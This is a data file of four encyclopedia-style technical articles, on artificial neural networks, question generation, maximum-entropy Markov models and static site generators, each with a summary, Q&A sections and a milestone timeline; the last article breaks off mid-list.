{"text":"# Artificial Neural Network\n\n## Summary\n\n\nArtificial Neural Network (ANN) belongs to the field of Machine Learning. It consists of computational models inspired from the human brain and biological neural networks. The goal is to simulate human intelligence, reasoning and memory to solve forecasting, pattern recognition and classification problems. \n\nANN is effective in scenarios where traditional ML methods such as regression, time series analysis or PCA cannot perform or forecast accurately. This could be because of data bias, mix of continuous and categorical data, unclean or uncertain data.\n\nComplex networks with multiple layers, nodes and neurons are possible today, thanks to dramatic increase in computing power, super-efficient GPUs and Big Data. A modern approach to ANN known as Deep Learning which processes and transforms data cascading through hierarchical layers, has gained immense prominence. Computer vision, character and image recognition, speech detection and NLP are the popular applications of ANN.\n\n## Discussion\n\n### In what ways do ANN replicate the functioning of the human neural network?\n\nIn a biological neural network, nerve cells (neurons) are interconnected by signal transmitters (synapses) which pass on electrical/chemical signals to a target neuron. By summation of potentials, either a signal to excite (positive) or inhibit (negative) is transmitted. Human brain contains about 86 billion neurons on average. \n\nWhen stimulated by an electrical pulse, neurotransmitters are released. They cross into the synaptic gap between neurons and bind to chemical receptors in the receiving neuron. This affects the potential charge of the receiving neuron, and starts up a new electrical signal in the receiving neuron. The whole process takes less than 1/500th of a second. As a message moves from one neuron to another, it is converted from an electrical signal to a chemical signal and back in an ongoing chain of events which is the basis of all brain activity. \n\nTo draw parallels in ANN, a network of data elements called artificial neurons receive input and change their internal state (activation) based on that input. They then produce a result depending on the input value and the activation function.\n\n\n### What is the structure and function of an ANN?\n\nThe basic structure of an ANN involves a network of artificial neurons arranged in layers - one input layer, one output layer and one or more hidden layers in between.\n\nEach neuron with the exception of those in the input layer, receives and processes stimuli (inputs) from other neurons. The processed information is available at the output end of the neuron. \n\nEvery connection has a weight (positive or negative) attached to it. Positive weights activate the neuron while negative weights inhibit it. The figure shows a network structure with inputs (x1, x2, … xm) being connected to a neuron with weights (w1, w2, … wm) on each connection. The neuron sums all the signals it receives, with each signal being multiplied by its associated weights on the connection.\n\nThis output is then passed through a transfer (activation) function g(y) that is normally non-linear to give the final output y. By comparing this output to actual value we determine the error. The process is repeated over several iterations until the error is within acceptable limits. \n\n\n### What are some key terms used in describing ANN?\n\nWe note the following terms: \n\n    + **Perceptron** - A linear binary classifier used in supervised learning. It acts as a single-node neural network. A neural network consists of multi-layer perceptrons (MLPs). Perceptrons consist of 4 parts – inputs, weights & bias, weighted sum and activation function. All inputs x are multiplied with their weights w, then added to get a weighted sum. This sum is applied to the activation function, to get output y of the perceptron.\n    + **Activation Function** - A transfer function used to determine output of a neural network. It maps the resulting values into ranges (0 to 1), (-1 to 1) etc. They may be linear or non-linear, the sigmoid function being one of them.\n    + **Weights and Biases** - Weights assigned to an input indicate its strength. Higher the weight, greater the influence of that input on the outcome. Bias value allows you to shift the activation function curve up or down.\n    + **Loss Function** - A way to evaluate \"goodness\" of predictions. It quantifies the gap between predicted and actual values. *Sum Of Squares Error* is an example loss function.\n\n### What are the most common types of Artificial Neural Networks used in ML?\n\nWe note the following types of ANNs: \n\n    + **Feed Forward Networks** - Simplest form of ANN where data travels in one direction through a network of perceptrons, from input layer towards output layer. Error in prediction is fed back to update weights and biases using backpropagation. Over multiple iterations, weights and bias values are tuned so that the predicted values converge on the actuals. Activation functions commonly used are sigmoid, tanh or RELU.\n    + **Recurrent Neural Networks** - Works on the principle of saving the output of a layer and feeding this back to the input to help in predicting the outcome of the layer. From one time-step to the next, each neuron remembers some information it had in the previous time-step. This makes each neuron act like a memory cell in performing computations (LSTM).\n    + **Radial Basis Function** - Functions that have a distance criterion with respect to a center. It has an input layer, radial basis hidden layer and output layer. Commonly used activation functions are Gaussian and multi-quadratic. Applied in Power Restoration Systems when restoration happens from core priority areas to the periphery.\n\n### How does an ANN learn?\n\nThe ANN learns through an iterative training routine where weights and biases are continually adjusted to improve strength of the prediction. Steps are:\n\n    + Identify input values, assign random initial values as weights to these inputs.\n    + For supervised learning, segregate training and test data sets.\n    + Finalise the hidden layers and nodes in them.\n    + Identify number of epochs and batch sizes. Training data set is generally sliced into **batches**. An **epoch** is one complete pass through the whole training set. Training typically requires several epochs.\n    + Pass the training set through the layers. Determine predicted outcome at the end of the iteration.\n    + Study extent of miscalculation, now adjust the weights (W = W + ΔW) through backpropagation. Amount of change in W per iteration is called **Learning Rate**. Large values of learning rate would train the network faster, but may result in overshooting the optimal solution. We need a balance, determined by the gradient descent method of optimising the loss/cost function.\n    + After several iterations, network achieves acceptable reliability in predicted outcome. Verify by applying the test data set, check for model accuracy.Now the ANN is set to have ‘learned’ and is ready for deployment. \n\n\n### What are the key differentiators between traditional ML techniques and ANN?\n\nANN and traditional ML techniques like logistic regression are algorithms meant to do the same thing - classification of data. However, while logistic regression is a statistical method, ANN is a heuristic method modelled on the human brain.\n\nIn many cases, simple neural network configurations yield the same solution as many traditional statistical applications. For example, a single-layer, feed forward neural network with linear activation for its output perceptron is equivalent to a general linear regression fit. When you use sigmoid activation function in ANN, it behaves like logistic regression. \n\nHowever, one of the unique aspects of an ANN is the presence of its hidden layers. Since movement of data between these layers is automatic, these steps cannot be statistically expressed. Hence debugging or tracing data values through these intermediate steps isn't possible. Whereas in regular ML algorithms, the input to output transition can be traced entirely.\n\nThe ability of data to reiterate through hidden layers allows hierarchical processing. This is the reason ANN forms the basis of Deep Learning, while other ML techniques are unsuitable.\n\n\n### When to use and not to use Artificial Neural Networks?\n\nWhen data is well structured, free of inconsistencies and somewhat linear in nature, traditional ML models such as linear regression, classification or PCA work remarkably well.\n\nBut in applications such as text validation or speech recognition, data tends to be non-linear and incomplete. It is also subject to human error and variations of language, dialect or handwriting. In such applications, ANN works with good accuracy. \n\nFor large and complex data where a small amount of time series data is available or where large amounts of noise exist, standard ML approaches can become difficult, even impossible. They may require weeks of a statistician’s time to build, as the data clean up and pre-processing effort is huge.\n\nNeural networks accommodate circumstances where the existing data has useful information to offer, but it might be clouded by factors mentioned above. Neural networks can also account for mixtures of continuous and categorical data.\n\nTo build a predictive model for a complex system, ANN does not require a statistician and domain expert to screen through every possible combination of variables. Thus, the neural network approach can dramatically reduce the time required to build a model. \n\n## Milestones\n\n1943\n\nNeurophysiologist Warren McCulloch and mathematician Walter Pitts write a paper on how neurons might work. In order to describe how neurons in the brain might work, they model a simple neural network using electrical circuits. \n\n1948\n\nDonald Hebb in his book *The Organization of Behaviour* proposes a model of learning based on neural plasticity. Later called **Hebbian Learning** it's often summarized by the phrase \"cells that fire together, wire together\". \n\n1958\n\nFrank Rosenblatt, a psychologist at Cornell proposes the idea of a **Perceptron**, modeled on the McCulloch-Pitts neuron. \n\n1960\n\nWidrow and Hoff develop a learning procedure that examines weight values and determine output of perceptrons accordingly. \n\n1975\n\nThe first multilayered network is developed. It's an unsupervised network. \n\n1975\n\nA key trigger for renewed interest in neural networks and learning is Werbos's **backpropagation** algorithm that made the training of multi-layer networks feasible and efficient. \n\n1985\n\nAmerican Institute of Physics, establishes a *Neural Networks in Computing* annual meeting. \n\n1987\n\nThe first International Conference on Neural Networks is organized by the Institute of Electrical and Electronics Engineers (IEEE). \n\n2009\n\n**Recurrent neural networks** and **deep feedforward neural networks** developed in Schmidhuber's research group win eight international competitions in pattern recognition and machine learning. \n\n2010\n\nBackpropagation training through **max-pooling** is accelerated by GPUs and shown to perform better than other pooling variants. \n\n2012\n\nNg and Dean create a network that learns to recognize higher level concepts such as cats, only from watching unlabeled images taken from YouTube videos.","meta":{"title":"Artificial Neural Network","href":"artificial-neural-network"}}
{"text":"# Question Generation\n\n## Summary\n\n\nGiven some content, the goal of Question Generation (QG) is to automatically generate a set of questions that can be answered by that content. This content can be in the form of sentences, paragraphs, documents, databases or even images. \n\nA common application of question generation is to automatically prepare questions for quizzes, assessments or even FAQs that present the content in a more readable form.\n\nTraditionally, rules and templates were used to generate questions. Since the mid-2010s, there's been greater interest in using statistical methods, particularly neural networks. Question generation is also closely linked to other NLP tasks such as question answering. In fact, early neural network models were adapted from machine translation, text summarization and image captioning.\n\n## Discussion\n\n### What are some applications of question generation?\n\nIn education, question generation helps in assessing reading comprehension. Students can use it for self-assessment. It can be used to create quizzes and online tests without manual effort from educators. By one estimate, teachers spend 50% of their time towards student assessments. \n\nMany versions of tests can be created to prevent cheating. For online courses and adaptive learning, these variations are helpful. A solution-oriented approach generates questions based on skills and concepts. A template-based approach uses variables, constraints and templates. \n\nFor training question answering (QA) or dialogue systems, QG can produce question-answer pairs. Chatbots trained on QG can ask relevant questions in an ongoing dialogue. \n\nOften questions are generated from available answers. But it's possible to generate questions that seek more information or clarification. Such a model can be trained using conversational QA datasets. \n\nApplications also include help systems and multi-modal conversations involving virtual agents. One research applied QG for user authentication in online systems. \n\n\n### What are the different types of questions generated by QG systems?\n\n**Multiple Choice Questions (MCQs)** are commonly generated for student assessments. Along with question, the correct answer and a few incorrect answers (called *distractors*) are generated. For English vocabulary assessment, QG systems could use WordNet, web searches and Word Sense Disambiguation. \n\n**Fill-in-the-blank questions** are simpler than MCQs since there's no need to generate distractors. Fill-in-the-blank statements are first generated, from which questions are framed via NLP analysis. \n\n**Wh-questions** are questions that ask \"what, where, when, which, who, why\" and \"how\". They could also include imperative statements that start with \"name, tell, find, define or describe\". \n\n**Factoid questions** are based on simple facts. **Non-factoid questions** require deeper analysis of the source text. These could involve causation, inference, reasoning or interpretation. For example, \"What colour is the sky?\" is a factoid question. \"Why is the sky blue?\" is an non-factoid question. Similarly, we distinguish between closed questions and open questions. Open questions are of the form \"To what extent…\", \"Why…\", \"Should…\", etc. \n\n\n### What are the typical challenges in generating questions?\n\nQG is quite unlike many NLP tasks. Whereas NLG generates sentences from some semantic input, the input to QG is often in natural language. Unlike machine translation, both input and output in QG are in the same language, and often there's no one-to-one correspondence. QG also significantly reorders and rephrases words. \n\nWhereas Question Answering (QA) is often *extractive* (selecting text spans from the input), question generation is often *abstractive* (generating text not necessarily present in the input). Moreover, a variety of questions can be framed from the many relations among words and phrases in the input. In one example, a single sentence generated 2000+ questions. QG systems must therefore weed out silly questions from important ones. \n\nOften a generated question might require improvements to its grammar, form or simplicity. QG systems need to figure out long-distance dependencies to do this. \n\n\n### What's a typical data pipeline in a question generation system?\n\nQG systems can be classified based on the input type. The common ones are text-based QG, visual QG, and structured data-based QG. Structured QG uses knowledge graphs and semi-structured tables, where input is subject-object-relation triplet.  \n\nQG pipelines might depend on the type of input, type of questions and the nature of the model. In general, we expect three steps: \n\n    + **Pre-processing**: Convert complex sentences into simpler ones, perhaps using parse trees. Using POS, dependency labels and SRL, classify sentences to determine type of question. Select content based on relevance to the final task. From web sources, mine and predict question patterns.\n    + **Question Construction**: Generate correct answers and distractors for MCQs. Select gap position for fill-in-the-blank questions. Transform assertive sentences into interrogative forms. Control the difficulty of questions.\n    + **Post-processing**: Construct the final surface form of questions. Rank questions to prioritize high-quality questions.Visual QG systems might detect/classify objects and identify features via CNN (colour, size, shape, relations). Features may be object-specific or on the entire image. These are then used to generate questions. \n\n\n### Which are the neural network models for question generation?\n\nDu et al. adopted the encoder-decoder architecture of a **seq2seq** model. Decoder was an LSTM that generated the question. Both an input sentence and its containing paragraph were encoded via separate BiLSTM and then concatenated. Via an **attention layer**, the decoder learned to pay attention to more relevant parts of the encoded input representation. Encoders and decoder had two layers each. \n\nLater models included target answer at the input to avoid questions such as \"What is mentioned?\" Position embeddings may be used to give more attention to answer words closer to context words. Some decoders predict question words (when, how, why, etc.) before generating the question. \n\nSeq2seq models struggle to capture paragraph-level context that's needed to generate high quality questions. Zhao et al. extended the seq2seq model with answer tagging, **maxout pointer mechanism** and a gated self-attention encoder. Another approach uses **multi-stage attention**. \n\n**Transformer-based models** also capture longer context. One research pre-processed the input with NER. Other models have adapted BERT and GPT-2 for QG. \n\n\n### How is question answering relevant to question generation?\n\nAbout 2000-2010, interest in QG was to aid QA systems. Later, motivated by applications, QG became an important task on its own. However, the synergy between QG and QA continues. In 2017, papers were published that showed that QG and QA are dual tasks.  Similarly, visual QG and visual QA are considered dual tasks. \n\nJoint probability between questions and answers can be applied. The probabilistic correlation between QA and QG can be used to regularize the training process. A QA model evaluates if a question generated by a QG model can be answered. A QA-specific signal feeds into the QG loss function. The QG model estimates the probability of a question given the answer, which helps QA. It's possible to simultaneously training both models. Tang et al. used seq2seq model for QG and RNN for QA. \n\nFor supervised training of any end-to-end QA model (using neural networks) we require lots of training data. Where data is limited, QG helps by automatically creating questions from any given input. Duan et al. achieved this by crawling community-QA websites such as Quora or Yahoo!Answers. They also generated questions from passages using CNN and RNN. \n\n\n### Which datasets are useful for building QG models?\n\nDatasets assembled for Question Answering (QA) or Machine Comprehension (MC) can be reused in QG. For example, MC datasets typically have document-question-answer triples with the goal of predicting the answer. QG models are instead trained to predict the question. \n\nWikiQA is a text-based dataset. WebQuestions and SimpleQuestions are knowledge-based datasets. SQuAD and MS MARCO are for MC. SQuAD has 150K question-answer pairs and another 50K questions without answers. NewsQA has 120K question-answer pairs gathered from CNN news. Based on Freebase, one corpus has 30M factoid question-answer pairs. SciQ has 13.7K MCQs on biology, chemistry, earth science, and physics. Some of these datasets were crowdsourced via Amazon Mechanical Turk (AMT). \n\nSpecifically for QG, QG-STEC dataset was created in 2010. It has 180 questions from sentences and 390 questions from paragraphs. Medical CBQ is a corpus for the medical domain. MCQL has 7.1K MCQs from web crawling on topics of biology, physics, and chemistry. \n\nFor non-factoid questions, community-driven question answering websites could be harvested for a large volume of training data. Yahoo!Answers and Quora are examples. \n\n\n### How can I evaluate question generation models?\n\n**Intrinsic evaluation** analyzes the QG model's output based on criteria such as grammaticality or fluency. **Extrinsic evaluation** is about measuring system or application performance in which the QG model is used. The trend has been towards automatic and intrinsic evaluation. However, there's no common framework that makes it easy to compare different QG models. \n\nSuppose students' language proficiency is evaluated from two sets of questions, one machine-generated and the other human-generated. This is extrinsic evaluation. Instead, if experts subjectively evaluate the machine-generated questions, it's intrinsic evaluation. \n\nWith **human evaluation**, criteria to consider are relevance, syntactic correctness, fluency, ambiguity, question type, and variety. These are quality judgements. It's also important for annotators to agree with one another. \n\nFor **automatic evaluation**, ROUGE, precision, recall, and F1 are some useful intrinsic metrics. Perplexity based on a language model is a metric to measure fluency. In general, models with high scores could perform poorly on human evaluation. *Question answerability* may be a better metric compared to n-gram similarity metrics such as BLEU, METEOR, NIST. \n\n## Milestones\n\n1973\n\nIn an article titled *Conditions on transformations* Chomsky proposes a linguistic approach in which questions are really transformations of canonical declarative sentences. \n\nMay  \n2003\n\nMitkov and Ha **generate multiple choice questions** using \"transformational rules, a shallow parser, automatic term extraction, word sense disambiguation, a corpus and WordNet\". Sentences with domain-specific terms are considered for question generation. Distractors are selected to be semantically close to the correct answer. For example, if the correct answer is 'syntax', 'semantics' and 'pragmatics' are better choices than 'football' or 'chemistry'. An example rule is to generate \"Which HVO\" (H for hypernym) for an SV-type sentence. \n\nJul  \n2003\n\nEchihabi and Marcu generate factoid question-answer pairs by mining structured or semi-structured databases such as World Fact Book, Biography.com or WordNet. They apply **extraction patterns** from information retrieval to manually define **template pairs**. However, their end goal is not question generation but question answering. In fact, research on question generation in this decade is mostly motivated by the task of **question answering**. \n\n2009\n\nChen et al. note that self-questioning improves reading comprehension among learners. In this context, they automatically generate questions from natural text. However, narrative text is different from informational text. The former involves characters, behaviour and mental states. The latter involves descriptions and explanations. For each question type, they use rules and question templates. Their approach uses **Semantic Role Labelling (SRL)**. Lindberg et al. (2013) also use SRL and templates. \n\nJun  \n2010\n\nHeilman and Smith propose a **rule-based QG system** for generating factoid questions. Rules are based on linguistic knowledge. Rules are generic and not dependent on sentence types. Their two-step process first simplifies input sentence and then transforms it into a question. Answer phrases (noun phrases or prepositional phrases) are identified and then replaced with question phrases. They over-generate questions and then rank them using a logistic regression model. \n\nJul  \n2010\n\nFollowing the annual tasks run by CoNLL, the first *Shared Task Evaluation Challenge on Question Generation (QG-STEC)* is organized. Although inspired by NLG, researchers note that QG is currently seen as a discourse processing task rather than an NLG task. This shared task aims to provide questions in an application-independent manner based on core ideas in the input text. They focus on two categories: QG from sentences and QG from paragraphs. For the latter, questions are of type \"who, where, when, which, what, why, how many/long, yes/no.\" Input sources are Wikipedia, OpenLearn, and Yahoo!Answers. \n\n2011\n\nWhile previous research work mostly considered sentence-level context, Agarwal et al. consider **paragraph-level context**. Discourse connectives connect two clauses or sentences to establish temporal, causal, elaboration, contrast, or result relations. They make use of these connectives to identify question types and generate questions of the type \"why, when, give an example, and yes/no\". They use QGSTEC-2010 and Wikipedia datasets. \n\n2015\n\nChali and Hasan propose **topic-to-question** generation in which input texts are about a specific topic. Generated questions are therefore topic-focused. Named entities, semantic role labels and predicate argument structures are used to generate questions. Using Latent Dirichlet Allocation (LDA), they identify sub-topics to rank questions by relevance. They also evaluate the syntactic correctness of generated questions. They argue that this approach enables a QA system to answer a complex question from simpler questions. \n\n2017\n\n**Sequence-to-sequence** neural network models with **attention**, first applied to machine translation in 2014, is applied to the task of question generation. In one approach using BiLSTM, attention-based sentence encoder and paragraph encoder are used. Input could include rich features such as POS and NER tags. Another research includes **pointer-softmax** to include in the question relevant words from the input. The model considers both input document and answers. It also applies **reinforcement learning** by feeding the questions to a QA system. \n\nJun  \n2018\n\nTang et al. explore how QG and QA models can be jointly trained. In particular, **policy gradient method** can be used to update the QG model based on QA-specific signals. They apply Generative Adversarial Network (GAN) to generate question-answer pairs. A collaboration detector (CD) determines positive versus negative training instances. In their QG model, they adapt seq2seq model to **Table2Seq**. Table headers, cells, and caption are encoded into continuous vectors using Bidirectional GRU. Decoder uses attention-based GRU with copying mechanism. \n\nJun  \n2018\n\nChen et al. note that Stanford Question Answering Dataset (SQuAD) and RACE datasets were collected for reading comprehension and not suited for assessing higher cognitive skills such as applying or analyzing. They address this by creating **LearningQ**, a dataset of 230K document-question pairs from online learning platforms. Dataset uses TED-Ed and Khan Academy as sources. They show that QG models that currently do well on other datasets are challenged by LearningQ. \n\nNov  \n2019\n\nChan and Fan use BERT for QG. Their simplest model uses only context and answer as inputs. It performs poorly because it doesn't leverage previously decoded tokens, unlike seq2seq models. They therefore propose **BERT-HLSQG** that marks the answer in context plus feeds in previously decoded answer tokens. This model achieves state-of-the-art results on SQuAD.","meta":{"title":"Question Generation","href":"question-generation"}}
{"text":"# Maximum-Entropy Markov Model\n\n## Summary\n\n\nThere are many systems where there's a time or state dependency. These systems evolve in time through a sequence of states and current state is influenced by past states. For example, there's a high chance of rain today if it had rained yesterday. Other examples include stock prices, DNA sequencing, human speech or words in a sentence.\n\nOne problem is that we may have observations but not the states. For example, we know the sequence of words but not the corresponding part-of-speech tags. We therefore model the tags as states and use the observed words to predict the most probable sequence of tags. This is exactly what Maximum-Entropy Markov Model (MEMM) can do. \n\nMEMM is a model that makes use of state-time dependencies. It uses predictions of the past and the current observation to make current prediction.\n\n## Discussion\n\n### Which are the building blocks of Maximum-Entropy Markov Model?\n\nLet's consider the task of email spam detection. Using **logistic regression**, we can obtain the probability that an email is spam. It's essentially binary classification. We can extend this to a multiclass problem. For example, in image analysis, we're required to classify the object into one of many classes. We estimate the probability for each class. Rather than take a hard decision on one of the outcomes, it's better to output probabilities, which will benefit downstream tasks. \n\nMultinomial logistic regression is also called softmax regression or **Maximum Entropy (MaxEnt)** classifier. Entropy's related to \"disorder\". Higher the disorder, less predictable the outcomes, and hence more information. For example, an unbiased coin has more information (and entropy) than a coin that mostly lands up heads. MaxEnt is therefore about picking a probability distribution that maximizes entropy. \n\nThen, there's **Markov Chain**. It models a system as a set of states with probabilities assigned to state transitions. While MaxEnt computes probabilities for each input independently, Markov chain recognizes that there's dependency from one state to the next.\n\nThus, MEMM is about maximizing entropy plus using state dependencies (Markov Model). \n\n\n### Could you explain MEMM with an example?\n\nConsider the problem of POS tagging. Given a sequence of words, we wish to find the most probable sequence of tags. MEMM predicts the tag sequence by modelling tags as states of the Markov chain. To predict a tag, MEMM uses the current word and the tag assigned to the previous word. \n\nIn reality, MEMM doesn't take a hard decision on what tag to select. Using MaxEnt, it calculates the probability of each tag. Probabilities of past tags are used to take a soft decision so that the word sequence as a whole get the best possible tag sequence. The algorithm that can do this efficiently is the **Viterbi algorithm**. \n\nThe formula in the figure assumes a sequence of L words. Z is a normalizing term so that probabilities are in range [0, 1] and they all add up to 1. \n\n\n### What are some applications where MEMM is used?\n\nMEMM has been used in many NLP tasks including POS tagging and semantic role modelling. It's been used in computational biology for protein secondary structure prediction. \n\nOne study used MEMM for recognizing human facial expressions. Human expressions are modelled as states. Observations are from video sensors. \n\n\n### How is MEMM different from Hidden Markov Model (HMM)?\n\nHMM is a **generative model** because words as modelled as observations generated from hidden states. Even the formulation of probabilities uses likelihood P(W|T) and prior P(T). On the other hand, MEMM is a **discriminative model**. This is because it directly uses posterior probability P(T|W); that is, probability of a tag sequence given a word sequence. Thus, it discriminates among the possible tag sequences. \n\nIt can also be said that HMM uses **joint probability** for maximizing the probability of the word sequence. MEMM uses **conditional probability**, conditioned on previous tag and current word. \n\nIn HMM, for the tag sequence decoding problem, probabilities are obtained by training on a text corpus. In MEMM, we build a distribution by adding features, which can be hand crafted or picked out by training. The idea is to select the maximum entropy distribution given the constraints specified by the features. MEMM is more flexible because we can add features such as capitalization, hyphens or word endings, which are hard to consider in HMM. MEMM allows for diverse non-independent features. \n\n\n### What are some shortcomings of MEMM?\n\nMEMM suffers from what's called the **label bias problem**. Once we're in a state or label, the next observation will select one of many transitions leaving that state. However, the model as a whole would have many more transitions. If a state has only one outgoing transition, the observation has no influence. Simply put, transition scores are normalized on a per-state basis. \n\nConsider a character-level input sequence \"rib\". We have an MEMM to select between \"rib\" and \"rob\". When we receive 'r', both paths 0-1 and 0-4 get equal probability mass. When 'i' arrives, we have nowhere to go from state-4 except to state-5 and pass on the entire probability mass along this path. When 'b' arrives, at state-3, both paths are equally likely. \n\nThe label bias problem was first noted by L. Bottou in 1991. **Conditional Random Fields (CRFs)** is an alternative model that solves this. \n\n## Milestones\n\n1996\n\nBerger et al. at the IBM Watson Research Center note that the concept of maximum entropy is not new but were not common in real-world applications due to high computational requirements. This is changing due to more powerful computers. They apply MaxEnt to some NLP tasks such as sentence segmentation and word reordering. They show that MaxEnt and maximum likelihood give the same result,\n\n> The model with the greatest entropy consistent with the constraints is the same as the exponential model which best predicts the sample of data.\n\n1996\n\nAdwait Ratnaparkhi at the University of Pennsylvania applies MaxEnt model along with Markov model to the task of part-of-speech tagging. He simply calls it *Maximum Entropy Model*. The model is able to use rich contextual features. It achieves state-of-the-art accuracy of 96.6%. This work leads to his PhD in 1998. The model considers past two POS tags, and features of past two and next two words. It combines them into a single exponential model. \n\n1998\n\nSaul and Rahim make use of **Markov Processes on Curves (MPCs)** for automatic speech recognition. Acoustic feature trajectory is a continuous variable that evolves jointly with phonetic transcriptions modelled as discrete states. This work later inspires MEMM by McCallum et al. who apply it to discrete time. \n\n2000\n\nMcCallum et al. coin the term **Maximum-Entropy Markov Model (MEMM)**. They apply it to information extraction and segmentation. They note that the three well-known problems solved by HMM can also be solved by MEMM. Exponential models of MEMM can be training using **Generalized Iterative Scaling (GIS)**, which is similar to Expectation-Maximization (EM) algorithm used in HMM. \n\nJun  \n2001\n\nLafferty et al. propose an alternative discriminative model called **Conditional Random Fields (CRFs)** to overcome the label bias problem of MEMM. MEMM can be biased towards states with fewer successor states. While MEMM uses per-state exponential models for the conditional probabilities, CRF uses a single exponential model for the joint probability of the entire label sequence given the observation sequence. In other words, CRF uses global normalization instead of per-state normalization. However, CRF is slower to train that MEMM.","meta":{"title":"Maximum-Entropy Markov Model","href":"maximum-entropy-markov-model"}}
{"text":"# Static Site Generators\n\n## Summary\n\n\nA static site generator is an application that uses plain text files rather than a database as the content repository and builds HTML files by applying themes, layouts and templates to them. \n\nThe generated static site files are delivered to the end user exactly as they are on the server. Hence, there is no server-side language or database. The generated files are HTML, CSS and JavaScript, served with graphic files (jpeg, gif, svg, webgl) and data formats (JSON or XML).\n\nStatic sites offer several advantages in speed, security and scalability over dynamic sites (Content Management Systems).\n\n## Discussion\n\n### What are static sites and how are they created?\n\nStatic sites are basic websites that can be built by simply creating a few HTML pages and publishing them to a Web server.\n\nOver a period of time, the way in which static sites were generated has progressed in the following manner: \n\n    + 1990s: Static sites were created by directly creating HTML files.\n    + 2000s: WYSIWYG (What You See is What You Get) Desktop applications were used to create and edit the website.\n    + 2010s: File system compilers are used to generate static sites.\n\n### How does a static site generator work?\n\nA static site generator parses templates, partials, liquid code, markdown and synthesizes (combining into a coherent whole) a static site. The static site generator script itself is written in a programming language like Ruby, Go, Python, React, etc.\n\nMost of them generate a website from a set of files: \n\n    + The content is produced in lightweight syntax like Markdown or Asciidoc.\n    + A templating engine (Liquid, Go Template, Nunjucks) is responsible for the logic while generating the HTML.\n    + A converter (kramdown, commonmark, blackfriday, Asciidoctor) transforms the lightweight syntax into HTML.Most static site generators support one or more file-based data formats like JSON, YAML, and TOML to define the metadata. \n\n\n### What is the JAMstack?\n\n**JAMstack** is the abbreviation for JavaScript, APIs, and Markup stack. This describes the main attributes of a statically generated site.\n\nMatt Billman, Co-founder & CEO, Netlify came up with the term JAMstack in 2012. The new term was intended to change the archaic connotation of \"static sites\". This is because the term \"static site\" is often misunderstood to describe the experiential characteristics of a site rather than the attributes of the site architecture which delivers it. \n\nThe JAM stack architecture enables the seamless integration of microservices. Microservices provide an easy access to functionality like form handling, authentication, real-time databases without the need for a dedicated back-end. Peter Levine of Andreesen Horowitz venture capital firm commented that, \n\n> It’s ridiculous that the web is still clinging on to monolithic backends—with their high costs, slower speeds, and huge surface area for attacks—in an age of microservices.\n\n\n### What are the advantages of using static site generators?\n\nWe note the following advantage of SSG:  \n\n**Performance**—Faster since there's no server side processing/compute involved and no database connections to be made.\n\n**Resilience**—More resilient to sudden traffic spikes. For high-availability websites, single points of failures are reduced.\n\n**Security**—When compared to dynamic CMS sites, static pages are easier to secure. No server-side language exploits, no database vulnerabilities and fewer attack vectors.\n\n**Hosting**—Server setup and maintenance is simpler and cheaper as memory and CPU requirements are not much compared to dynamic sites. Upgrades and new versions of the server-side language or the database don't affect the generated static pages.\n\n**Portability**—Since the site is not coupled to a complex hosting infrastructure, it can be moved from one place to another and redeployed in a simpler manner.\n\n**Compliance**—The simple architecture contributes to easier compliance, especially when building something for a large company and hosting in their environment.\n\n**Attrition Avoidance**—Static sites don't demand sustained monitoring, patching missing dependencies or infrastructure.\n\n**Version Control**—Since the entire site is file based, a version control system like *git* can keep track of all changes to content and configuration.\n\n\n### What are the challenges/limitations in using Static Site Generators?\n\n**Complex Workflow**—Most of the mature static site generators were intended for the hobbyist programmer, which has resulted in a complex workflow for clients. Editing and previewing production changes is complicated.\n\n**Competitive Ecosystem**—With over 450 static site generators in the open, a lot of effort is duplicated to solve the same problem of basically rendering markdown.\n\n**Realtime changes**—Real-time changes are not possible in the current system as opposed to CMSs. Large static sites sometimes take minutes to generate accurately. They load, render, and forget on each run. For example, when a change is made to a menu, every page that uses it has to be regenerated and uploaded. \n\n**Developer Experience**—Developers have to familiarize themselves with the file system conventions and directory structure surrounding static site generation. For example, \"you have to put your markdown files here and then it turns into this URL structure\". Additionally, templating languages that seem to dumb down what you can do, frustrate experienced developers. \n\n\n### Could you mention some popular Static Site Generator?\n\nSome popular static site generators include Jekyll (Ruby), Hugo (Go), Hexo (Node.js), GitBook (JS), Octopress (Ruby), Gatsby (ReactJS), Pelican (Python), Brunch (JS), Metalsmith (JS) and Middleman (Ruby). Netlify reports the ten most popular and best-supported static-site generators, based on GitHub’s top starred repositories. \n\nA comprehensive list of all possible static site generators is maintained by Static Site Generators. Details include when it was created, the last time it was updated and the language it is built with. A similar list is maintained at StaticGen. This list offers additional details like the templating language supported by the project and a description pulled from the project repository.\n\n\n### What parameters should I consider while choosing a static site generator?\n\n**Build Time**—Time to generate the final site for a given set of input files. On large sites, this can be tens of minutes. Hugo, Gatsby and Nuxt are faster than Jekyll. \n\n**Templates and Themes**—The availability of templates and themes with a suitable licence and the ease with which new templates or themes can be created. \n\n**Project Activity and Adoption**—GitHub stars are a reasonable indication of good project activity. A more active project that has greater adoption is more likely to be supported over a longer period of time. \n\n**Portability**—Are the file structure, content syntax and templating language fairly standard? With standard technologies such as Markdown, content can be more easily ported to another SSG. \n\n**Plugins**—The plugins you require should work with the SSG. More generally, some SSG provide most features out-of-the-box (Gatsby, Next, Nuxt). Others provide minimal features that are then expanded by a vast array of plugins, often developed by community. Jekyll is in the latter camp with lots of plugins. \n\n**Deployment**—Support for continuous integration and continuous deployment.\n\n\n### What kind of sites are most suited for Static Site Generators?\n\nStatic site generators are broadly useful for building sites that focus heavily on delivering content, have a low degree of user interactivity and update infrequently. It is suited for mission-critical sites where traffic spikes and security are causes of concern.\n\nPublic administrations in the US 18F, in UK Alphagov or in France Etalab seem to embrace this workflow as the version-control-workflow makes sense for distributed teams in addition to avoiding latency, downtime and errors. \n\n\n### What kinds of sites are not suited for Static Site Generators?\n\nStatic site generators may not be suited for the following: \n\n    + Sites that are largely customised for each individual user that visits the page, such as e-commerce sites.\n    + Sites that need to reflect real-time changes to content or templates.\n    + Sites that require an administration interface.\n    + Sites which have several content (untrusted) creators. Since static sites are flexible, anything contained within source Markdown files can be rendered as page content. Users may be able to include scripts, widgets or numerous undesired items.\n    + Very large sites that could result in increased build times.\n\n### Could you list some popular static site generator deployments?\n\n \n\n    + Healthcare.gov went from 32 servers to 1 (and one for fall over).\n    + In 2012, Obama's $250M fundraising platform was built using a static site generator. The team that built the Hillary Clinton site built the Obama site.\n    + Nest and MailChimp now use static site generators for their primary websites.\n    + Vox Media has built a whole publishing system around Middleman.\n    + Carrot, a large New York agency and part of the Vice empire, builds websites for some of the world’s largest brands with its own open-source generator, Roots.\n    + Several of Google’s sites, such as \"A Year In Search\" and Web Fundamentals, are static.\n    + 